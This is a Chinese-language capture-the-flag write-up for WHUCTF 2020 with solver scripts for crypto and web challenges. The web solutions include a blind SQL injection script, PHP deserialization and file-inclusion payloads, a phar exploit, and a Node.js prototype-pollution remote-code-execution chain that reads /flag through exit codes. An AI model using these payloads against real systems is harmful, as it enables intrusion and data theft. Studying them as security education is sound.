WHUCTF 2020 WriteUp

Crypto

Bivibivi

from pwn import *

r=remote("218.197.154.9",16387)
r.recvline()
po = r.recvline()

import re
nums_str = re.findall("\d+",po)
nums=[]
for i in nums_str:
    nums.append(int(i))

ans=0
for i in range(10000):
    if (i*nums[0]+nums[1] )%nums[3] == nums[2]%nums[3]:
        ans=i
        break

r.recvuntil("x :")
r.sendline(str(ans))
r.recvline()
r.recvline()
r.recvline()
r.recvline()
r.recvline()
r.recvline()
# r.interactive()

table='fZodR9XQDSUm21yCkr6zBqiveYah8bt4xsWpHnJE7jL5VG3guMTKNPAwcF'
tr={}
for i in range(58):
	tr[table[i]]=i
s=[11,10,3,8,4,6]
xor=177451812
add=8728348608

def dec(x):
	r=0
	for i in range(6):
		r+=tr[x[s[i]]]*58**i
	return (r-add)^xor

def enc(x):
	x=(x^xor)+add
	r=list('BV1  4 1 7  ')
	for i in range(6):
		r[s[i]]=table[x//58**i%58]
	return ''.join(r)

for i in range(5):
    avid = int(r.recvline())
    r.sendline(enc(avid))

r.recvline()
r.recvline()
r.recvline()
while 1:
    bvid = r.recvline().strip()
    if bvid[0:2]!="BV":
        break
    r.sendline(str(dec(bvid)))

r.interactive()

Web

Easy_sqli

裸的布尔盲注

闲的蛋疼自己搓了个注入脚本玩玩

import requests
import string
import copy


payload = {
    "user": "asdasd\\",
    "pass": " || if(ascii(mid((SELECT_STATEMENT),CHAR_OFFSET,1))=ASCII_CHAR,1,0) || 'a'='asdads"
}
payload2 = {
    "user": "asdasd\\",
    "pass": " || if(ascii(mid((SELECT_STATEMENT),CHAR_OFFSET,1))>ASCII_CHAR,1,0) || 'a'='asdads"
}


def test_if_true(sql, char, offset):
    url = "http://218.197.154.9:10011/login.php"
    p = copy.deepcopy(payload)
    p["pass"] = p["pass"].replace("SELECT_STATEMENT", sql).replace("CHAR_OFFSET", str(offset)).replace("ASCII_CHAR", str(ord(char)))
    r=requests.post(url, data=p)
    if "Login success" in r.text:
        return True
    return False

def test_if_greater(sql, char, offset):
    url = "http://218.197.154.9:10011/login.php"
    p = copy.deepcopy(payload2)
    p["pass"] = p["pass"].replace("SELECT_STATEMENT", sql).replace("CHAR_OFFSET", str(offset)).replace("ASCII_CHAR", str(ord(char)))
    r=requests.post(url, data=p)
    if "Login success" in r.text:
        return True
    return False

while 1:
    # sql = input()
    # sql = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'f1ag_y0u_wi1l_n3ver_kn0w'"
    sql = "select concat_ws(',',f111114g) from f1ag_y0u_wi1l_n3ver_kn0w"
    if "select" in sql:
        sql = sql.replace("select", "seselectlect")
    if "or" in sql:
        sql = sql.replace("or", "oorr")
    if "from" in sql:
        sql = sql.replace("from", "frfromom")
    if "where" in sql:
        sql = sql.replace("where", "whwhereere")
    offset = 1
    res = ""
    while 1:
        l=0
        r=255

        while l<r:
            mid = int((l+r)/2)
            result = test_if_true(sql, chr(mid), offset)
            if result:
                res+=chr(mid)
                print(res)
                offset+=1
                break
            else:
                if test_if_greater(sql, chr(mid), offset):
                    l=mid+1
                else:
                    r=mid

ezphp

审代码

<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];

//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
    echo '1st ok'."<br>";
}
else{
    die('会代码审计嘛23333');
}


//2nd
if(is_numeric($string_1)){
    $md5_1 = md5($string_1);
    $md5_2 = md5($string_2);

    if($md5_1 != $md5_2){
        $a = strtr($md5_1, 'pggnb', '12345');
        $b = strtr($md5_2, 'pggnb', '12345');
        if($a == $b){
            echo '2nd ok'."<br>";
        }
        else{
            die("can u give me the right str???");
        }
    } 
    else{
        die("no!!!!!!!!");
    }
}
else{
    die('is str1 numeric??????');
}

//3nd
function filter($string){
    return preg_replace('/x/', 'yy', $string);
}

$username = $_POST['username'];

$password = "aaaaa";
$user = array($username, $password);

$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
    echo file_get_contents('flag.php');
} 

第一个后面加\n

第二个爆破,会把b替换成5,所以找个0e+纯数字的和0e+纯数字+b的

脚本

import hashlib

def md5(s):
	return hashlib.md5(s.encode(encoding='UTF-8')).hexdigest()

for i in range(1,99999999):
    flag = 1
    j = md5(str(i))
    if j[0:2] == '0e':
        for z in j[2:]:
            if z not in "0123456789b":
                flag = 0
                break
        if flag == 1:
            print "------------------md5("+str(i)+")="+j
            break

第三个反序列化逃逸

$username = 'axxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}';
$password = "aaaaa";

ezcmd

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("no space!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("no flag");
  } else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){
    die("cat't read flag");
  }
  $a = shell_exec("ping -c 4 ".$ip); 
  echo "<pre>";
  print_r($a);
}
highlight_file(__FILE__);

?> 

命令注入 过滤了一堆 空格用$IFS

555忘了当时咋做了,好像是利用ping的输出传给bash…..

后面再补

ezinclude

裸的文件包含

稍微脑洞一下有个file参数

http://218.197.154.9:10017/thankyou.php?file=php://filter/convert.base64-encode/resource=flag.php

Easy_unserialize

打开是个上传

发现这个玩意

http://218.197.154.9:10010/?acti0n=upload

lfi获取源码

class View
	{
		public $dir;
		private $cmd;

		function __construct()
		{
			$this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
			$this->cmd = 'echo "<div style=\"text-align: center;position: absolute;left: 0;bottom: 0;width: 100%;height: 30px;\">Powered by: xxx</div>";';
			if(!is_dir($this->dir)) {
				mkdir($this->dir, 0777, true);
			}
		}

		function get_file_list() {
			$file = scandir('.');
			return $file;
		}

		function show_file_list() {
			$file = $this->get_file_list();
			for ($i = 2; $i < sizeof($file); $i++) { 
				echo "<p align=\"center\" style=\"font-weight: bold;\">[".strval($i - 1)."]  $file[$i] </p>";
			}
		}

		function show_img($file_name) {
			$name = $file_name;
			$width = getimagesize($name)[0];
			$height = getimagesize($name)[1];
			$times = $width / 200;
			$width /= $times;
			$height /= $times;
			$template = "<img style=\"clear: both;display: block;margin: auto;\" src=\"$this->dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">";
			echo $template;
		}

		function delete_img($file_name) {
			$name = $file_name;
			if (file_exists($name)) {
				@unlink($name);
				if(!file_exists($name)) {
					echo "<p align=\"center\" style=\"font-weight: bold;\">成功删除! 3s后跳转</p>";
					header("refresh:3;url=view.php");
				} else {
					echo "Can not delete!";
					exit;
				}
			} else {
				echo "<p align=\"center\" style=\"font-weight: bold;\">找不到这个文件! </p>";
			}
		}

		function __destruct() {
			eval($this->cmd);
		}
	}

有个类,那显然就是phar反序列化了

exp

$exp=new View();
echo serialize($exp);

$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("GIF89a<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($exp);
$phar->stopBuffering();

把生成的vul.phar传上去然后

POST /view.php

show=phar://vul.phar&cmd=phpinfo&args=0

HappyGame

神仙题目

node审计

拿到源码

image

首先merge有问题,可以原型污染

image

试了下{"score": {"constructor":{"prototype":{"__proto__":{"asd":"blabla"}}}}}即可污染

然后unserialize的时候for xxx in obj就可以控制传入eval的东西

image

eval过滤了一大堆

const validCode = function (func_code){
  let validInput = /process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
  return !validInput.test(func_code);
};

const validInput = function (input){
  // filter bad input
  let validInput = /process|child_process|main|require|exec|this|function/ig;
  ins = serialize(input);
  return !validInput.test(ins);
};

QAQ后来看了WP才知道可以直接绕,

Buffer.constructor(Buffer.from(`72657475726e2070726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428276368696c645f70726f6365737327292e6578656353796e6328276c73202f27292e746f537472696e672829`, `he\\x78`))()

这里用了个玄学方法,没去绕过滤

注意到题目import了opn模块,看下是啥

image

发现可以直接运行命令

但是拿不到输出,测了半天不出网

于是看了看node的child_process.spawn,只需要xxx.on('data',(r)=>{写东西})

但是有个问题,opn是async,所以会返回一个Promise,但是父函数不是async没法await,本地测了一下没法一次带外,可以先on data那里写进本地某个变量,第二个payload再把banner替换掉

看下opn源码发现windows没啥问题,linux返回的childprocess的 被关了。。。透

如果上面options.wait为真,下面返回的就是once('close')之后的subprocess,此时subprocess已关闭,拿不到输出。

如果把options.wait写成假,上面就会把childProcessOptions.stdio设成ignore,还是拿不到输出。。。

emmm好像搞不了

再仔细看一下,发现on error的时候会返回一个状态码

如果exitCode不是0,就把exitCode返回。

这个时候reject就可以catch一下然后把banner改掉了

a=Array();
a.push(`bash`);
a.push(`-c`);
var out=Array();
var sp=opn(`echo BASE64_HERE | /usr/bin/bas?64 -d > /tmp/naivekun;a=$(cat /tmp/naivekun);exit $a`,
    {app:a,wait:true}
);
sp.catch((j)=>{
    console.log(j);
    logs.aaaac=j.toString();
    console.log(`FUCK`);
});
obj.banner=`fuckyou`;

emmm,这个状态码是命令执行可控的

做个测试

whoami;exit 66

echo $?可以得到66

所以数据可以这么带外

  • 执行命令,设法获取输出,依次把每一位转化成0-255的ascii码,然后exit
  • 把exit的值on error带出来
  • 把带出来的值给写道某个全局变量里面
  • 第二次把这个全局变量替换成banner输出

这样一次带一位出来,从而获得完整的执行命令的值

首先测下有啥东西

找不到东西会返回exit code 127

跑炸了会出个1还是啥,测了下,python有。所以

payload0 = "python -c \"import subprocess;a=subprocess.check_output(['cat','/flag']);print int(ord(a[OFFSET]))\""

命令过滤了一堆可以echo xxx | bas?64 -d | bash

exp

import requests
import base64
import re
import time
import sys

payload0 = "python -c \"import subprocess;a=subprocess.check_output(['cat','/flag']);print int(ord(a[OFFSET]))\""
payload1 = r'{"score": {"constructor":{"prototype":{"__proto__":{"asd":"_$$ND_FUNC$$_(()=>{a=Array();a.push(`bash`);a.push(`-c`);var out=Array();var sp=opn(`echo BASE64_HERE | /usr/bin/bas?64 -d > /tmp/naivekun;a=$(cat /tmp/naivekun);exit $a`,{app:a,wait:true});sp.catch((j)=>{console.log(j);logs.aaaac=j.toString();console.log(`FUCK`);});obj.banner=`fuckyou`;return `asd`})()","wait":"_$$ND_FUNC$$_(()=>{})"}}},"length":1}}'
payload2 = r'{"score": {"constructor":{"prototype":{"__proto__":{"asd":"_$$ND_FUNC$$_(()=>{a=Array();a.push(`bash`);a.push(`-c`);var out=Array();var sp=opn(`a=$(bash /tmp/naivekun);exit $a`,{app:a,wait:true});sp.catch((j)=>{console.log(j);logs.aaaac=j.toString();console.log(`FUCK`);});obj.banner=`fuckyou`;return `asd`})()","wait":"_$$ND_FUNC$$_(()=>{})"}}},"length":1}}'
payload3 = r'{"score": {"constructor":{"prototype":{"__proto__":{"asd":"_$$ND_FUNC$$_(()=>{obj.banner=logs.aaaac})()","wait":"_$$ND_FUNC$$_(()=>{})"}}},"length":1}}'

url="http://218.197.154.9:10001/record"
headers = {
    "Content-Type": "application/json"
}

for i in range(1000):
    p0 = payload0.replace("OFFSET",str(i))
    # print(p0)
    p1 = payload1.replace("BASE64_HERE", base64.b64encode(bytes(p0,'utf-8')).decode('utf-8'))
    # print(p1)
    r=requests.post(url,data=p1, headers=headers)
    time.sleep(0.2)
    r=requests.post(url, data=payload2, headers=headers)
    time.sleep(0.2)
    r=requests.post(url, data=payload3, headers=headers)
    time.sleep(0.2)
    # print(r.text)
    code = re.findall("code (\d+)",r.text)
    # print(code)
    print(chr(int(code[0])),end="")
    sys.stdout.flush()

resolve需要时间,中间最好sleep一下

一位一位猜出来了,比盲注快XD

Misc

懒得写了23333